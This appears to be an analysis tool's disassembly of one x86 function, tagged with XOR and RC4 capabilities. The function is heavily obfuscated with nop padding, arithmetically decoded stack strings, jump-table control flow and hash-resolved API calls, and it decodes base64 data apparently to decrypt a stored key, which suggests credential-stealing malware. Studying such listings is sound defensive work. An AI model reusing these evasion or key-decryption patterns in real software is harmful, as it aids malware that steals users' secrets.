Function at 0x42ddef
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xf4
mov dword [esp + 0x10], 0x17d719c5
mov dword [esp + 0x14], 0x13821584
mov dword [esp + 0x18], 0xfef11ec
mov dword [esp + 0x1c], 0xbeb0d80
mov dword [esp + 0x20], 0x70609d5
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
mov ecx, 0x231d03a9
mov edx, 0x463a0752
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x4002028c
mov edi, ecx
xor edi, 0x2061a546
mov ebp, 0xa8
sub ebp, esi
sub ebp, edi
lea ebx, [esi + edi]
add ebx, 0x17
and ebp, 0xc1
and ebx, 0x3e
or ebx, ebp
xor bl, byte [esp + ecx - 0x231d0399]
xor bl, 0xc1
add bl, 0xa2
mov byte [esp + ecx - 0x231d0399], bl
inc ecx
add edx, 2
cmp ecx, 0x231d03c1
jne 0x42c930
lea esi, [esp + 0xca]
lea edx, [esp + 0x10]
mov edi, esi
mov ecx, 5
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xde]
xor ebx, ebx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea edi, [esp + 0x78]
push edi
push 0
push 0
push 9
push esi
push 0
call dword [0x451b40]
mov ebp, dword [esp + 0x78]
test ebp, ebp
jns 0x42c9c5
mov eax, 0xffffffff
jmp 0x42c9cc
lea eax, [ebp*2]
push eax
call fcn.0040cc60
add esp, 4
push edi
push ebp
mov dword [esp + 0x5c], eax
push eax
push 9
push esi
push 0
call dword [0x451b40]
mov dword [esp + 0x10], 0x33db31fc
mov dword [esp + 0x14], 0x3fdd3dcf
mov dword [esp + 0x18], 0x3bc839cf
mov dword [esp + 0x1c], 0xc7c6c528
lea edx, [esp + 0x20]
mov word [esp + 0x20], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebx
add al, 0x74
xor al, byte [esp + ebx + 0x10]
add al, 0xbc
mov byte [esp + ebx + 0x10], al
inc ebx
cmp ebx, 0x12
jne 0x42ca20
lea edi, [esp + 0x9e]
lea eax, [esp + 0x10]
mov ecx, 4
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xae]
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov dword [esp + 0x10], 0xd165cf08
mov dword [esp + 0x14], 0xd577d365
mov dword [esp + 0x18], 0xd964d765
mov dword [esp + 0x1c], 0xdd1fdb7c
mov dword [esp + 0x20], 0xa170df7f
mov dword [esp + 0x24], 0xa510a303
mov dword [esp + 0x28], 0xa9a6a71f
mov eax, 0xad
mov ecx, 0x52
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x9d]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0x9f
mov byte [esp + eax - 0x9d], dl
inc eax
dec ecx
cmp eax, 0xc9
jne 0x42caa0
lea edi, [esp + 0xae]
lea esi, [esp + 0x10]
mov eax, esi
mov ecx, 7
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xca]
lea eax, [esp + 0x2c]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 0x10], 0xc16dc708
mov dword [esp + 0x14], 0xcd6fc35d
mov dword [esp + 0x18], 0xc95ccf5d
mov dword [esp + 0x1c], 0xb57acb64
mov dword [esp + 0x20], 0xb174b708
lea ebx, [esp + 0x24]
mov dword [esp + 0x24], 0xb3b0
mov edx, 0xce
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi]
mov eax, edi
and eax, 0x22
mov ebp, edi
xor ebp, 0x36f49322
or edi, 0xdd
and edi, ebp
lea ebp, [edx - 0xc0]
and ebp, 0x22
mov ecx, edx
and ecx, 0xdd
or ecx, ebp
xor eax, edi
and edi, 0x22
xor eax, 0x22
or eax, edi
xor eax, ecx
xor al, 0xdd
add al, 0xb
mov byte [esi], al
inc esi
dec edx
cmp edx, 0xb6
jne case.default.0x42cbe4
lea esi, [esp + 0xde]
lea eax, [esp + 0x10]
mov edi, esi
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xf2]
mov ecx, 1
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
lea eax, [esp + 0x9e]
mov dword [esp + 0x90], eax
lea eax, [esp + 0xae]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], esi
mov edi, dword [esp + 0x54]
mov ebp, edi
add ebp, 2
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x68], 0
cmp ecx, 0xc
setne al
xor ebx, ebx
mov dword [esp + 0x50], ebp
jmp dword [eax*4 + 0x44db18]
jmp dword [0x44db20]
push edi
call fcn.0040cc70
add esp, 4
mov eax, dword [esp + 0x68]
and al, 1
add esp, 0xf4
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call fcn.0040cc60
add esp, 4
jmp dword [0x44db30]
mov eax, dword [esp + ebx + 0x90]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x42cc30
mov dword [esp + 0x58], eax
mov edx, esi
sar edx, 1
mov eax, dword [esp + 0x78]
lea ecx, [edx + eax]
mov dword [esp + 0x70], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42cc10
mov eax, 0xffffffff
jmp 0x42cc10
mov dword [esp + 0x48], ebx
jmp dword [0x44db38]
movzx ecx, word [edi]
mov edx, eax
test cx, cx
je 0x42cc91
mov ebx, ebp
mov edx, eax
nop
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x42cc80
mov word [edx], 0
jmp case.0x42cbe4.9
mov word [ecx], 0
jmp dword [0x44db40]
movzx edx, word [edi]
mov ecx, eax
test dx, dx
je 0x42cca0
mov ebx, ebp
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x42ccc0
jmp 0x42cca0
mov word [ecx], 0x5c
mov dword [esp + 0x10], 0xc30ec17c
mov dword [esp + 0x14], 0xc765c56b
mov dword [esp + 0x18], 0xcb66c969
mov dword [esp + 0x1c], 0xcf7dcd2c
mov dword [esp + 0x20], 0xb313b124
mov dword [esp + 0x24], 0xb713b520
mov word [esp + 0x28], 0xb9b8
lea edx, [esp + 0x10]
mov byte [edx + 0x1e], 0
mov dword [edx + 0x1a], 0
mov ebp, 0x30
mov ebx, 0xf
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ebx
and edi, 0x34
mov edx, ebp
and edx, 0x4b
or edx, edi
xor dl, byte [esp + ebp - 0x20]
xor dl, 0xb4
add dl, 0x90
mov byte [esp + ebp - 0x20], dl
inc ebp
dec ebx
cmp ebp, 0x4f
jne 0x42cd30
add ecx, 2
mov edi, dword [esp + 0x58]
movzx edx, word [edi]
test dx, dx
je 0x42cd83
lea ebx, [edi + 2]
mov ebp, dword [esp + 0x50]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x42cd70
jmp 0x42cd87
mov ebp, dword [esp + 0x50]
mov word [ecx], 0
movzx edx, word [esp + 0x10]
test dx, dx
je 0x42cdb3
lea ebx, [esp + 0x12]
mov edi, dword [esp + 0x54]
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x42cda0
jmp 0x42cdb7
mov edi, dword [esp + 0x54]
mov word [ecx], 0
lea ecx, [esp + 0x74]
push 0x60
push 3
push 0x120089
push ecx
mov dword [esp + 0x7c], eax
push eax
call fcn.00445110
add esp, 0x14
not eax
shr eax, 0x1f
mov ebx, dword [esp + 0x48]
jmp dword [eax*4 + 0x44db48]
mov dword [esp], 0
mov ecx, dword [esp + 0x6c]
jmp dword [0x44dbc8]
lea eax, [esp + 0x88]
push 0
push eax
push dword [esp + 0x7c]
call fcn.00445460
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
mov dword [esp], 0
jmp dword [eax*4 + 0x44db50]
mov edi, dword [esp + 0x88]
lea eax, [edi + 1]
push eax
call fcn.0040cc60
add esp, 4
push 0
push edi
mov dword [esp + 0x84], eax
push eax
push dword [esp + 0x80]
call fcn.00445540
add esp, 0x10
not eax
shr eax, 0x1f
xor edx, edx
jmp dword [eax*4 + 0x44db58]
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x7c]
mov byte [ecx + eax], 0
push ecx
call fcn.00403d70
add esp, 4
xor ecx, ecx
mov dword [esp + 0x64], eax
test eax, eax
setne cl
xor edx, edx
jmp dword [ecx*4 + 0x44db60]
mov dword [esp], edx
jmp dword [0x44dbb0]
push dword [esp + 0x7c]
call fcn.0040cc70
add esp, 4
mov dword [esp + 0x48], ebx
mov eax, dword [esp + 0x74]
mov dword [esp + 8], eax
mov dword [esp + 0x10], 0x101f1e1d
mov word [esp + 0x14], 0
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ebp + 0x10]
mov dword [esp + 4], edx
mov eax, ebp
xor eax, 0xcb1c73a
mov ebx, ebp
or ebx, 5
and ebx, eax
mov eax, ebp
and eax, 5
mov ecx, ebx
and ecx, 2
or ebx, 2
imul ebx, ecx
mov edi, ecx
xor edi, 2
imul edi, eax
mov ecx, ebp
xor ecx, 0xf34e38c5
add ecx, ebx
add ecx, edi
mov ebx, ecx
and ebx, edx
mov eax, ebx
and eax, 2
mov edi, ebx
or edi, 0xfffffffd
inc edi
mov edx, ebp
mov ebp, ebx
and ebp, 0xfffffffd
imul ebp, edi
or ebx, 2
imul ebx, eax
sub ebp, ebx
add ecx, dword [esp + 4]
add ecx, ebp
mov ebp, edx
mov edx, ecx
and edx, 0x24
mov eax, ecx
and eax, 2
mov edi, eax
xor edi, 2
imul edi, edx
or edx, 2
imul edx, eax
xor ecx, 0x26
add ecx, edi
add ecx, edx
inc cl
mov byte [esp + ebp + 0x10], cl
inc ebp
cmp ebp, 6
jne 0x42cec0
mov edx, dword [0x451b44]
test edx, edx
mov ecx, dword [esp + 0x6c]
mov edi, dword [esp + 0x54]
je 0x42cf8c
mov ebx, dword [esp + 0x10]
xor ebp, ebp
mov eax, dword [0x451b48]
cmp dword [eax + ebp*8], 0xb62b8d10
je 0x42cf80
inc ebp
cmp edx, ebp
jne 0x42cf70
jmp 0x42cf8c
mov eax, dword [eax + ebp*8 + 4]
cmp eax, ebx
jne 0x42d15b
mov ebp, dword [esp + 0x50]
mov ebx, dword [esp + 0x48]
jmp dword [0x44dbc8]
push ecx
call fcn.0040cc70
add esp, 4
mov eax, dword [case.0x42cbe4.46]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
movzx eax, byte [esp]
jmp dword [eax*4 + 0x44dbe0]
mov eax, dword [esp + 0x78]
mov edx, dword [esp + 0x70]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42cfdd
mov eax, 0xffffffff
mov dword [esp + 0x48], ebx
push eax
call fcn.0040cc60
add esp, 4
movzx ecx, word [edi]
mov dword [esp + 4], eax
mov edx, eax
test cx, cx
je 0x42d011
mov eax, ebp
mov edx, dword [esp + 4]
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x42d000
mov dword [esp], edx
mov word [edx], 0x5c
mov dword [esp + 0x10], 0x13661174
mov dword [esp + 0x14], 0x1f7d1d8b
mov dword [esp + 0x18], 0x1b8e1979
mov dword [esp + 0x1c], 0x7750524
mov dword [esp + 0x20], 0x395019c
mov dword [esp + 0x24], 0xf6f0d9e
mov dword [esp + 0x28], 0xb670967
mov dword [esp + 0x2c], 0x37a23550
mov dword [esp + 0x30], 0x33ac315d
mov dword [esp + 0x34], 0x3faa3d51
mov dword [esp + 0x38], 0x3b583954
mov word [esp + 0x3c], 0x2524
lea eax, [esp + 0x10]
mov word [eax + 0x32], 0
mov dword [eax + 0x2e], 0
xor ecx, ecx
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx + 0x10]
mov edx, ecx
and edx, 0x35
xor edx, 0xeecc8af5
mov ebp, ecx
and ebp, 0xa
sub ebp, edx
lea edx, [ebp + 0x79]
and edx, eax
add ebp, eax
add edx, edx
sub ebp, edx
lea edx, [ebp - 0x36df3887]
mov eax, edx
xor eax, 0x43a52e94
mov ebx, edx
or ebx, 0xbc5ad16b
and ebx, eax
mov edi, 0xe014f72e
sub edi, ebp
and edi, 2
mov eax, ebx
and eax, 0xfd
imul eax, edi
mov edi, edx
and edi, 2
or ebx, 2
imul ebx, edi
mov edi, 0xe014f786
sub edi, ebp
and edi, 0x6b
and edx, 0x94
or edx, edi
add edx, eax
add edx, ebx
inc dl
mov byte [esp + ecx + 0x10], dl
inc ecx
cmp ecx, 0x34
jne 0x42d090
mov ebx, dword [esp]
add ebx, 2
mov eax, dword [esp + 0x58]
movzx ecx, word [eax]
test cx, cx
je 0x42d14c
lea edx, [eax + 2]
lea edi, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebx], cx
add ebx, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d130
mov word [ebx], 0
jmp dword [0x44dbec]
lea edi, [esp + 0x12]
mov word [ebx], 0
jmp dword [0x44dbec]
push dword [esp + 8]
push 1
push eax
push dword [0x451b4c]
call fcn.00441940
mov ecx, dword [esp + 0x7c]
add esp, 0x10
mov ebp, dword [esp + 0x50]
mov ebx, dword [esp + 0x48]
jmp dword [0x44dbc8]
jmp dword [0x44db68]
jmp dword [0x44dc28]
push esi
call fcn.0040cc70
add esp, 4
jmp dword [0x44dc20]
add ebx, 4
xor eax, eax
cmp ebx, 0xc
setne al
jmp dword [eax*4 + 0x44db18]
jmp dword [0x44dc18]
jmp dword [0x44dc20]
movzx ecx, word [esp + 0x10]
mov edx, ebx
test cx, cx
je 0x42d1e1
mov eax, edi
mov edx, ebx
nop
nop
nop
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x42d1d0
mov word [edx], 0
jmp dword [0x44dbf4]
movzx ecx, word [esp + 0x10]
mov edx, ebx
test cx, cx
je 0x42d211
mov eax, edi
mov edx, ebx
nop
nop
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x42d200
mov word [edx], 0
jmp case.0x42cbe4.54
add esi, 0x12
cmp dword [esp + 0x70], 0xfffffff7
jge 0x42d227
mov esi, 0xffffffff
push esi
call fcn.0040cc60
add esp, 4
mov esi, eax
mov dword [esp + 0x10], 0x893e8b7d
mov dword [esp + 0x14], 0x850c8733
mov dword [esp + 0x18], 0x8136833f
mov dword [esp + 0x1c], 0x9d209f3c
mov dword [esp + 0x20], 0x9b9c
mov edx, 0x63
nop
movzx eax, byte [esp + edx - 0x53]
mov ebx, eax
mov edi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
mov eax, edi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0x11
mov byte [esp + edx - 0x53], al
inc edx
cmp edx, 0x77
jne 0x42d260
mov edx, dword [esp + 0x58]
movzx ecx, word [edx]
mov eax, esi
test cx, cx
je 0x42d2d1
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d2c0
mov word [eax], 0
movzx ecx, word [esp + 0x10]
test cx, cx
je 0x42d301
lea edx, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d2f0
mov word [eax], 0
mov dword [esp + 0x10], 0x232221fa
mov dword [esp + 0x14], 0
xor eax, eax
mov ecx, 0x7d4b8607
nop
nop
nop
movzx edx, byte [esp + eax + 0x10]
mov edi, eax
xor edi, 7
or edi, edx
mov ebx, edx
not ebx
and ebx, ecx
mov ebp, ecx
xor ebp, edx
not edi
sub edx, ebp
add edx, ebx
or edx, edi
add dl, 0x28
mov byte [esp + eax + 0x10], dl
inc eax
dec ecx
cmp eax, 8
jne 0x42d320
push 0
push 0
push 0xc00000
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
push esi
push dword [esp + 0x120]
call fcn.00425430
add esp, 0x1c
mov ecx, dword [esp + 0x68]
and cl, 1
or cl, al
mov dword [esp + 0x68], ecx
mov eax, dword [case.0x42cbe4.63]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x50]
mov ebx, dword [esp + 0x48]
nop
nop
nop
nop
jmp eax
push dword [esp + 4]
call fcn.0040cc70
add esp, 4
push dword [esp + 4]
call fcn.0040cc70
add esp, 4
jmp dword [0x44dc34]
push dword [esp + 0x64]
call fcn.00404850
add esp, 4
mov dword [esp + 0x10], 0x546b465d
mov dword [esp + 0x14], 0x49564046
mov dword [esp + 0x18], 0x5c505816
mov dword [esp + 0x1c], 0x312e384e
mov dword [esp + 0x20], 0x2c1b2727
mov word [esp + 0x24], 0x3023
mov byte [esp + 0x26], 0xb6
lea ecx, [esp + 0x10]
mov byte [ecx + 0x1b], 0
mov dword [ecx + 0x17], 0
xor ebp, ebp
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + edx + 0x10]
mov edi, edx
xor edi, 0xf9c36926
mov ecx, ebp
and ecx, 0x32
sub ecx, edi
add ecx, 0xd9157959
mov edi, ebx
and edi, ecx
add edi, edi
sub ecx, edi
add cl, bl
inc cl
mov byte [esp + edx + 0x10], cl
inc edx
add ebp, 2
cmp edx, 0x1c
jne 0x42d410
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.00404c10
add esp, 8
mov dword [esp], eax
mov ecx, 0xffffffff
mov edi, 0xfffffffd
nop
nop
mov eax, ecx
add edi, 3
mov ecx, dword [esp]
cmp byte [ecx + eax + 1], 0
lea ecx, [eax + 1]
jne 0x42d460
shr edi, 2
mov eax, dword [esp]
movzx eax, byte [eax + ecx - 1]
cmp eax, 0x3d
je 0x42d487
cmp eax, 0x2e
jne 0x42d488
dec edi
mov eax, dword [esp]
movzx eax, byte [eax + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 0xc], ecx
je 0x42d49e
cmp eax, 0x2e
jne 0x42d49f
dec edi
lea eax, [edi + 1]
push eax
call fcn.0040cc60
add esp, 4
mov dword [esp + 0x44], eax
cmp dword [esp + 0xc], 0
je 0x42d5d5
xor ecx, ecx
mov ebx, 2
jmp 0x42d4e2
mov ebp, dword [esp + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebx + 4]
add ebx, 2
mov ecx, ebp
cmp ebx, edx
mov ebx, eax
jae 0x42d5d5
mov dword [esp + 4], ecx
mov ebp, dword [esp]
movzx eax, byte [ebp + ebx - 2]
push eax
call fcn.00422290
add esp, 4
mov byte [esp + 8], al
movzx eax, byte [ebp + ebx - 1]
push eax
call fcn.00422290
mov edx, dword [esp + 0x10]
add esp, 4
mov byte [esp + 0x4c], al
movzx eax, al
mov ecx, eax
not ecx
or ecx, 0x30
add eax, ecx
inc eax
movzx ecx, byte [esp + 8]
shr eax, 4
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x44]
mov ebp, dword [esp + 4]
mov byte [ecx + ebp], al
mov eax, dword [esp + 4]
lea ebp, [eax + 1]
cmp ebx, edx
jae 0x42d4d0
mov eax, dword [esp]
movzx eax, byte [eax + ebx]
push eax
call fcn.00422290
mov edx, dword [esp + 0x10]
add esp, 4
cmp al, 0x40
je 0x42d4d0
mov ah, byte [esp + 0x4c]
shl ah, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, ah
mov edx, dword [esp + 4]
lea ebp, [edx + 2]
mov dword [esp + 8], ebp
mov ebp, dword [esp + 0x44]
mov edx, dword [esp + 4]
mov byte [ebp + edx + 1], cl
mov edx, dword [esp + 0xc]
lea ecx, [ebx + 1]
cmp ecx, edx
jae 0x42d4c3
mov ecx, dword [esp]
movzx ecx, byte [ecx + ebx + 1]
push ecx
mov byte [esp + 0x50], al
call fcn.00422290
mov edx, dword [esp + 0x10]
add esp, 4
movzx ecx, byte [esp + 0x4c]
cmp al, 0x40
mov ebp, dword [esp + 8]
je 0x42d4d0
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x44]
mov ebp, dword [esp + 4]
mov byte [ecx + ebp + 2], al
add ebp, 3
jmp 0x42d4d0
add edi, 0xfffffffb
mov dword [esp + 0x80], edi
mov eax, dword [esp + 0x44]
add eax, 5
mov dword [esp + 0x84], eax
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
push 0x14e20a34
push dword [0x451b50]
call fcn.00444600
add esp, 8
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x80]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
push dword [esp + 0x64]
call fcn.00404850
add esp, 4
mov dword [esp + 0x10], 0x546b465d
mov dword [esp + 0x14], 0x49564046
mov dword [esp + 0x18], 0x5c505816
mov dword [esp + 0x1c], 0x312e384e
mov dword [esp + 0x20], 0x2c1b2727
mov word [esp + 0x24], 0x3023
mov byte [esp + 0x26], 0xb6
lea ecx, [esp + 0x10]
mov byte [ecx + 0x1b], 0
mov dword [ecx + 0x17], 0
xor ebp, ebp
xor edx, edx
nop
nop
nop
nop
movzx ebx, byte [esp + edx + 0x10]
mov edi, edx
xor edi, 0xf9c36926
mov ecx, ebp
and ecx, 0x32
sub ecx, edi
add ecx, 0xd9157959
mov edi, ebx
and edi, ecx
add edi, edi
sub ecx, edi
add cl, bl
inc cl
mov byte [esp + edx + 0x10], cl
inc edx
add ebp, 2
cmp edx, 0x1c
jne 0x42d680
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.00404c10
add esp, 8
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
nop
nop
nop
add ecx, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42d6d0
shr ecx, 2
mov edi, edx
mov dword [esp + 8], edx
movzx edx, byte [eax + edx - 1]
cmp edx, 0x3d
mov ebp, 0
je 0x42d6fa
cmp edx, 0x2e
jne 0x42d6fb
dec ecx
mov edx, dword [esp + 8]
movzx edx, byte [eax + edx - 2]
cmp edx, 0x3d
mov dword [esp + 0x4c], eax
je 0x42d712
cmp edx, 0x2e
jne 0x42d713
dec ecx
mov dword [esp + 0x8c], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040cc60
add esp, 4
mov dword [esp + 0xc], eax
cmp dword [esp + 8], 0
je 0x42d843
xor ecx, ecx
mov ebx, 2
jmp 0x42d753
lea eax, [ebx + 4]
add ebx, 2
mov ecx, dword [esp]
cmp ebx, edx
mov ebx, eax
jae 0x42d843
mov dword [esp + 4], ecx
mov edi, dword [esp + 0x4c]
movzx eax, byte [edi + ebx - 2]
push eax
call fcn.00422290
add esp, 4
mov byte [esp], al
movzx eax, byte [edi + ebx - 1]
push eax
call fcn.00422290
add esp, 4
mov byte [esp + 0x44], al
movzx eax, al
mov ecx, eax
not ecx
or ecx, 0x30
add eax, ecx
inc eax
movzx ecx, byte [esp]
shr eax, 4
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 4]
mov byte [ecx + edx], al
mov edx, dword [esp + 8]
mov eax, dword [esp + 4]
inc eax
mov dword [esp], eax
cmp ebx, edx
jae 0x42d740
movzx eax, byte [edi + ebx]
push eax
call fcn.00422290
mov edx, dword [esp + 0xc]
add esp, 4
cmp al, 0x40
je 0x42d740
movzx edx, byte [esp + 0x44]
shl dl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, dl
mov edi, dword [esp + 4]
lea edx, [edi + 2]
mov dword [esp], edx
mov edx, dword [esp + 0xc]
mov byte [edx + edi + 1], cl
mov edx, dword [esp + 8]
lea ecx, [ebx + 1]
cmp ecx, edx
jae 0x42d740
mov ecx, dword [esp + 0x4c]
movzx ecx, byte [ecx + ebx + 1]
push ecx
mov byte [esp + 0x48], al
call fcn.00422290
mov edx, dword [esp + 0xc]
add esp, 4
movzx ecx, byte [esp + 0x44]
cmp al, 0x40
je 0x42d740
shl cl, 6
add al, cl
mov ecx, dword [esp + 0xc]
mov edi, edx
mov edx, dword [esp + 4]
mov byte [ecx + edx + 2], al
add edx, 3
mov dword [esp], edx
mov edx, edi
jmp 0x42d740
mov eax, dword [esp + 0x8c]
add eax, 0xfffffffb
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0xc]
add eax, 5
mov dword [esp + 0x84], eax
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
push 0x14e20a34
push dword [0x451b50]
call fcn.00444600
add esp, 8
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x80]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
jmp dword [0x44db70]
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
jmp dword [ecx*4 + 0x44db78]
lea eax, [esi + 0x10]
cmp dword [esp + 0x70], 0xfffffff8
jge 0x42d8c3
mov eax, 0xffffffff
push eax
call fcn.0040cc60
add esp, 4
mov ebx, eax
mov dword [esp + 0x10], 0x9ffa99ab
mov dword [esp + 0x14], 0xa3909dec
mov dword [esp + 0x18], 0xa7dea1d4
mov dword [esp + 0x1c], 0xabaaa5d0
mov word [esp + 0x20], 0
mov eax, 0x9a
mov ecx, 0x65
nop
movzx edx, byte [esp + eax - 0x8a]
lea edi, [edx + edx]
not edi
add edi, edx
and edi, eax
and edx, ecx
or edx, edi
add dl, 0xfe
mov byte [esp + eax - 0x8a], dl
inc eax
dec ecx
cmp eax, 0xac
jne 0x42d900
mov eax, dword [esp + 0x58]
movzx ecx, word [eax]
mov eax, ebx
test cx, cx
je 0x42d951
mov eax, dword [esp + 0x58]
lea edx, [eax + 2]
mov eax, ebx
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d940
mov word [eax], 0
movzx ecx, word [esp + 0x10]
test cx, cx
je 0x42d981
lea edx, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d970
mov word [eax], 0
mov ecx, dword [esp + 0x108]
push dword [esp + 0x5c]
push dword [esp + 0x64]
push ebx
call fcn.0040d4a0
mov dword [esp], eax
jmp dword [0x44db80]
push ebx
call fcn.0040cc70
add esp, 4
push 0xbe5098bb
push dword [0x451b38]
call fcn.00444600
add esp, 8
mov ebx, eax
jmp dword [0x44db8c]
push dword [esp + 0x60]
call ebx
push dword [esp + 0x60]
call ebx
jmp dword [0x44db90]
mov eax, dword [case.0x42cbe4.25]
mov edx, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp], edx
jmp dword [0x44dba8]
push dword [esp + 0xc]
call fcn.0040cc70
add esp, 4
push dword [esp + 0x64]
call fcn.00404e00
add esp, 4
mov ebx, dword [esp + 0x48]
jmp dword [0x44dbb0]
int3
xor ebx, ebx
jmp dword [0x44dd50]
mov dword [esp + 0x74], esi
lea edi, [esp + 0x5c]
jmp dword [0x44dc44]
push 0
push edi
push dword [esp + 0x14]
call fcn.00445460
add esp, 0xc
nop
nop
nop
nop
nop
nop
push 0
push edi
push dword [esp + 0x14]
call fcn.00445460
add esp, 0xc
jmp dword [0x44dc48]
not eax
shr eax, 0x1f
xor esi, esi
xor ebx, ebx
jmp dword [eax*4 + 0x44dc50]
mov esi, dword [esp + 0x5c]
lea eax, [esi + 1]
push eax
call fcn.0040cc60
add esp, 4
push 0
push esi
mov dword [esp + 0x5c], eax
push eax
push dword [esp + 0x18]
call fcn.00445540
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44dc58]
xor esi, esi
mov edi, dword [esp + 0x54]
jmp dword [0x44dd38]
jmp dword [0x44dd44]
mov eax, dword [esp + 0x5c]
mov ebp, dword [esp + 0x54]
mov byte [ebp + eax], 0
xor ebx, ebx
jmp dword [0x44dc60]
xor edi, edi
jmp dword [0x44dc68]
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44dc70]
movzx eax, byte [edi + 0xa]
add edi, 0xa
xor esi, esi
test al, al
je 0x42dc51
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x42dc4f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42dc40
jmp 0x42dc51
mov esi, ecx
mov ebp, esi
sub ebp, edi
xor eax, eax
cmp ebp, 5
setb al
jmp dword [eax*4 + 0x44dc78]
jmp dword [0x44dc88]
xor eax, eax
cmp byte [esi - 1], 0x74
setne al
jmp dword [eax*4 + 0x44dc90]
jmp dword [0x44dca4]
xor eax, eax
